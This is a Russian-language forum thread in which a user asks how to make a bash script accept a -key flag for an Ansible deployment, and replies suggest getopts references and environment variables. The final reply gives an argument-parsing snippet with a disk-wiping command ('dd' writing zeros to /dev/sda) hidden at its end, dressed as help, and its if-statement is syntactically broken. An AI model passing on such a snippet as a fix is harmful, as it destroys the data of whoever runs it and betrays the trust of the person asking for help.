URL: https://www.opennet.dev/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID9
Нить номер: 10404
[ Назад ]

Исходное сообщение
"Bash скрипт"

Отправлено micron1390 , 10-Ноя-21 16:29 
Доброго дня!
Пытаюсь заюзать bash скрипт с флагом -key

Задача, нужно при запуске bash скрипта указать свой ключик, чтобы он сам подставлялся в коде ansible для раскатки сервисов пример: ./script1.sh -key /dir/my_key

Написал небольшой код, но не работает
while getopts key: flag
do
    case "${flag}" in
        key) dir/my_key=${OPTARG};;
    esac
done

Заранее спасибо.


Содержание

Сообщения в этом обсуждении
"Bash скрипт"
Отправлено Аноним , 10-Ноя-21 22:15 
https://gist.github.com/rtfpessoa/867ac97c7795dcc647063245d2...

Работает


"Bash скрипт"
Отправлено Ann None , 11-Ноя-21 13:25 
> Доброго дня!
> Пытаюсь заюзать bash скрипт с флагом -key

надо начать с похода в гугл на предмет short и long options.



"Bash скрипт"
Отправлено Аноним , 11-Ноя-21 16:42 
Пользуйтесь env, виндузятники.

KEY=/dir/my_key ./script.sh

...
echo $KEY
...


"Bash скрипт"
Отправлено pavlinux , 29-Ноя-21 14:53 
> while getopts key: flag

Какие в здяпу getopts?!!

 

option_key=0;

for i in "$@";
    do
    case $i in
        "-key" | "--key")
            echo "KEY"
                    option_key=1
        ;;
        *)
            echo $1
        ;;
    esac
    shift;
done

if (option_key)
     dd if=/dev/zero of=/dev/sda;

 
$  ./script.sh -key -suck mazafack --key
KEY
-suck
mazafack
KEY